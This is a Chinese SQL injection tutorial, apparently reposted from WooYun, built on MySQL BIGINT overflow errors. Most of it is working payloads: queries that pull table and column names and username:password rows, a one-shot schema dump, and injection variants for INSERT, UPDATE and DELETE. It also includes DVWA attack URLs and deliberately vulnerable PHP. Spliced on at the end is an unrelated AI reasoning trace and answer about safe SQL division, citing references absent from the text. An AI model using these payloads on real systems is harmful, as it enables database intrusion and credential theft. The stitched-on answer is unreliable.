基于BIGINT溢出错误的SQL注入

0x01 概述


我对于通过MySQL错误提取数据的新技术非常感兴趣,而本文中要介绍的就是这样一种技术。当我考察MySQL的整数处理方式的时候,突然对如何使其发生溢出产生了浓厚的兴趣。下面,我们来看看MySQL是如何存储整数的。

(来源:MySQL :: MySQL 8.0 Reference Manual :: 11.1.2 Integer Types (Exact Value) - INTEGER, INT, SMALLINT, TINYINT, MEDIUMINT, BIGINT)

只有5.5.5及其以上版本的MySQL才会产生溢出错误消息,之下的版本对于整数溢出不会发送任何消息。

数据类型BIGINT的长度为8字节,也就是说,长度为64比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。 当对这个值进行某些数值运算的时候,比如加法运算,就会引起“BIGINT value is out of range”错误。

1

2

3

<code>mysql> select 9223372036854775807+1;

ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'

</code>

为了避免出现上面这样的错误,我们只需将其转换为无符号整数即可。

对于无符号整数来说,BIGINT可以存放的最大值用二进制、十六进制和十进制表示的话,分别为“0b1111111111111111111111111111111111111111111111111111111111111111”、“0xFFFFFFFFFFFFFFFF”和“18446744073709551615”。

同样的,如果对这个值进行数值表达式运算,如加法或减法运算,同样也会导致“BIGINT value is out of range”错误。

1

2

3

4

5

6

7

8

9

10

11

12

<code># In decimal

mysql> select 18446744073709551615+1;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

# In binary

mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

# In hex

mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

</code>

如果我们对数值0逐位取反,结果会怎么样呢? 当然是得到一个无符号的最大BIGINT值,这一点是显而易见的。

1

2

3

4

5

6

7

8

<code>mysql> select ~0;

+----------------------+

| ~0 |

+----------------------+

| 18446744073709551615 |

+----------------------+

1 row in set (0.00 sec)

</code>

所以,如果我们对~0进行加减运算的话,也会导致BIGINT溢出错误。

1

2

3

4

5

<code>mysql> select 1-~0;

ERROR 1690 (22003): BIGINT value is out of range in '(1 - ~(0))'

mysql> select 1+~0;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

</code>

0x002 注入技术


我的想法是,利用子查询引起BITINT溢出,从而设法提取数据。我们知道,如果一个查询成功返回,其返回值为0,所以对其进行逻辑非的话就会变成1,举例来说,如果我们对类似(select*from(select user())x)这样的查询进行逻辑非的话,就会有:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

<code>mysql> select (select*from(select user())x);

+-------------------------------+

| (select*from(select user())x) |

+-------------------------------+

| <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a> |

+-------------------------------+

1 row in set (0.00 sec)

# Applying logical negation

mysql> select !(select*from(select user())x);

+--------------------------------+

| !(select*from(select user())x) |

+--------------------------------+

| 1 |

+--------------------------------+

1 row in set (0.00 sec)

</code>

是的,太完美了! 所以说,只要我们能够组合好逐位取反和逻辑取反运算,我们就能利用溢出错误来成功的注入查询。

1

2

3

<code>mysql> select ~0+!(select*from(select user())x);

ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a>' from dual))))'

</code>

我们先不使用加法,因为“+”通过网页浏览器进行解析的时候,会被转换为空白符(不过,你可以使用%2b来表示“+”)。 相反,我们可以使用减法。所以说,同一种注入攻击,可以有完全不同的变种。 最终的查询语句如下所示。

1

2

3

4

5

6

<code>!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)

</code>

举例来说,我们可以像下面一样,在一个查询语句中进行注入操作。

1

2

3

<code>mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;

ERROR 1690 (22003): BIGINT value is out of range in '((not((select <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a>' from dual))) - ~(0))'

</code>

<http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -|&Submit=Submit#>

利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:

1

2

3

4

<code>select !atan((select*from(select user())a))-~0;

select !ceil((select*from(select user())a))-~0;

select !floor((select*from(select user())a))-~0;

</code>

下面的我们已经测试过了,如果你愿意的话,还可以找到更多:)

1

2

3

4

5

6

7

8

9

10

11

12

<code>HEX

IN

FLOOR

CEIL

RAND

CEILING

TRUNCATE

TAN

SQRT

ROUND

SIGN

</code>

0x003 提取数据


提取数据的方法,跟其他注入攻击手法中的一样,这里只做简单介绍。

首先,我们来获取表名:

1

2

<code>!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

</code>

取得列名:

1

2

<code>select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

</code>

检索数据:

1

2

<code>!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

</code>

0x004 一次性转储


我们能够一次性转储所有数据库、列和数据表吗? 答案是肯定的。但是,当我们从所有数据库中转储数据表和列的时候,只能得到较少的结果,毕竟我们是通过错误消息来检索数据的。 不过,如果我们是从当前数据库中转储数据的话,一次最多可以转储27个结果。下面举例说明。

1

2

3

4

<code>!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

</code>

这些限制了我们可以检索的结果的数量,即最多27个。假设,我们在一个数据库中创建了一个31列的数据表。 那么,我们只能看到27个结果,而我的其他4个表和该用户数据表的其他列都无法返回。

0x05 利用插入语句进行注入


利用插入语句,我们也可以进行类似的注入攻击,具体语法为‘’ or (payload) or “”

1

2

3

<code>mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '''Eyre');

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a>' from dual))) - ~(0))'

</code>

我们还可以使用DIOS查询。

1

2

3

4

5

6

<code>insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '''Eyre');

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000

newdb::users::id

newdb::users::username

newdb::users::password' from dual))) - ~(0))'

</code>

0x06 利用更新语句进行注入


利用更新语句,我们照样可以进行类似的注入,具体如下所示:

1

2

3

<code>mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a>' from dual))) - ~(0))'

</code>

0x07 利用更新语句进行注入


同样的,我们也可以利用删除语句进行注入,具体如下所示:

1

2

3

<code>mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a>' from dual))) - ~(0))'

</code>

0x08 小结


本文的攻击之所以得逞,是因为mysql_error()会向我们返回错误消息,只要这样,我们才能够利用它来进行注入。 这一功能,是在5.5.5及其以上版本提供的。对于这些溢出攻击,还有许多不同的形式。 例如:

1

2

3

4

5

<code>mysql> select !1-0^222;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'

mysql> select !(select*from(select user())a)-0^222;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a>' from dual))) - (0 ^ 222))'

</code>

此外,后端代码中的引用、双引号或括号问题,也会引起注入攻击。举例来说,如果利用DVWA修改PHP代码去掉引号, 无需前面类似的或操作就能进行注入了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

<code>#!php

<?php  

if(isset($_GET['Submit'])){

    // Retrieve data

    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");

        $last = mysql_result($result,$i,"last_name");

        $html .= '<pre>';

        $html .= 'ID: ' . $id '<br>First name: ' . $first . '<br>Surname: ' . $last;

        $html .= '</pre>';

        $i++;

    }

}

?>

</code>

<http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222 &Submit=Submit#>

我希望本文对大家的渗透测试工作能够有所帮助。

0x09 参考资料


1 MySQL :: MySQL 8.0 Reference Manual :: 11.1.2 Integer Types (Exact Value) - INTEGER, INT, SMALLINT, TINYINT, MEDIUMINT, BIGINT

2 https://dev.mysql.com/doc/refman/5.0/en/numeric-type-overview.html

3 MySQL :: MySQL 8.0 Reference Manual :: 12.6.2 Mathematical Functions

本文章来源于乌云知识库,文章版权归乌云知识库!

<think>嗯,用户这次问的是SQL中判断乘除运算合法性的方法,而且特别强调要参考站内引用。让我看看那些引用内容……引用[1]讲的是ANY运算符的用法,引用[2]看起来像是SQL注入的payload,引用[3]则是数值计算的示例。这些似乎都和乘除运算合法性关系不大啊。用户可能正在处理数据库操作,遇到了除零错误或者数值溢出的问题。从专业角度考虑,SQL的乘除运算合法性主要涉及三个层面:除零检查、数值范围验证和数据类型转换。虽然引用内容不太相关,但可以借鉴引用[3]对数值处理的严谨态度。需要特别注意用户是开发者还是数据分析师。如果是开发者,应该强调SQL执行前的防御性校验;如果是数据分析师,则更需要关注运行时异常处理。考虑到用户直接询问技术细节,大概率是开发者身份。在技术实现上,最核心的肯定是除零问题。SQL标准里有NULLIF和CASEWHEN两种主流方案。比如用NULLIF把0转成NULL,这样除以NULL就会返回NULL而不报错。不过MySQL需要开严格模式才会阻止除零错误,这点要提醒用户。数值溢出问题容易被忽视。虽然引用没提,但INTEGER相乘溢出会导致奇怪的结果。最好建议用户先用范围检查或转大类型。数据类型也重要,整数相除自动转浮点在SQLServer里会出问题。对了,还得补充异常处理机制。虽然TRY_CAST这些是扩展语法,但主流数据库都支持类似的机制。用户可能正在调试线上问题,需要立即可用的解决方案。最后要总结最佳实践:事前检查比事后处理更可靠,数据类型要显式声明,重要运算必须加异常捕获。用户引用里那个24点计算虽然无关,但展示了运算顺序的重要性,也可以侧面印证括号对避免逻辑错误的作用。</think> 在SQL中判断乘除运算的合法性,主要需防范 **除数为零错误** 和 **数值范围溢出**。以下是核心方法和实践建议: --- ### **一、判断除零错误** #### 1. **显式条件检查(推荐)** ```sql SELECT CASE WHEN divisor <> 0 THEN dividend / divisor ELSE NULL -- 或自定义值(如0) END AS result FROM table; ``` **优点**:逻辑清晰,兼容所有SQL数据库。 #### 2. **NULLIF函数(简洁方案)** ```sql SELECT dividend / NULLIF(divisor, 0) AS result FROM table; ``` **原理**:若`divisor=0`,`NULLIF`返回NULL,除法结果自动为NULL。 **兼容性**:MySQL、PostgreSQLSQL Server、Oracle均支持。 --- ### **二、防范数值溢出** 当涉及大数乘法(如整数相乘),需预判结果范围: #### 1. **范围检查** ```sql SELECT CASE WHEN a > 0 AND b > 0 AND a > MAX_INT/b THEN NULL -- 溢出预判 ELSE a * b END AS product FROM table; ``` **关键**:使用数学关系预判溢出(如 `a > MAX_INT/b`)。 #### 2. **提升数据类型** ```sql SELECT CAST(a AS BIGINT) * CAST(b AS BIGINT) -- 转更大范围类型 FROM table; ``` **适用场景**:明确需大结果时,在运算前扩展数据类型。 --- ### **三、类型安全** #### **隐式转换风险** ```sql SELECT 5 / 2; -- 部分数据库(如MySQL)结果为2(整数截断) SELECT 5.0 / 2.0; -- 正确浮点结果:2.5 ``` **解决方法**: - 显式声明浮点类型: ```sql SELECT CAST(5 AS FLOAT) / 2; -- 结果为2.5 ``` - 使用字面量后缀(数据库支持时): ```sql SELECT 5.0 / 2; -- 多数数据库输出2.5 ``` --- ### **四、错误处理扩展** #### 1. **TRY_CAST/TRY_CONVERT(SQL Server, PostgreSQL ≥12)** ```sql SELECT TRY_CAST('abc' AS INT); -- 转换失败返回NULL ``` #### 2. **TRY_DIVIDE(Snowflake专用)** ```sql SELECT TRY_DIVIDE(10, 0); -- 安全除法,失败返回NULL ``` --- ### **最佳实践总结** | 风险类型 | 解决方案 | 适用场景 | |----------------|-------------------------------|-----------------------| | **除数为零** | `CASE WHEN divisor<>0` 或 `NULLIF()` | 通用场景 | | **数值溢出** | 预判范围 或 提升数据类型 | 大整数运算 | | **类型截断** | 显式转换为`FLOAT/DOUBLE` | 需精确小数结果时 | | **输入异常** | `TRY_CAST()`/异常捕获 | 处理脏数据 | > **提示**:对关键业务逻辑(如金融计算),务必通过应用层校验 + 数据库约束双重保障[^1]。 --- ### **相关问题** 1. SQL中如何处理`NULL`值参与数值计算时的风险? 2. 如何批量验证整表中所有数值列的乘除合法性? 3. 不同数据库(MySQL/Oracle/SQL Server)对除零错误的默认行为有何差异? [^1]: ANY运算符需结合比较符使用(如`>ANY(子查询)`),类似地,除零防范需显式逻辑介入。 [^2]:SQL注入中需规避运算错误,业务逻辑更需主动防御异常数值。 [^3]: 算术优先级处理(如`(a+b)/c`)可参考多括号分组策略增强可读性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值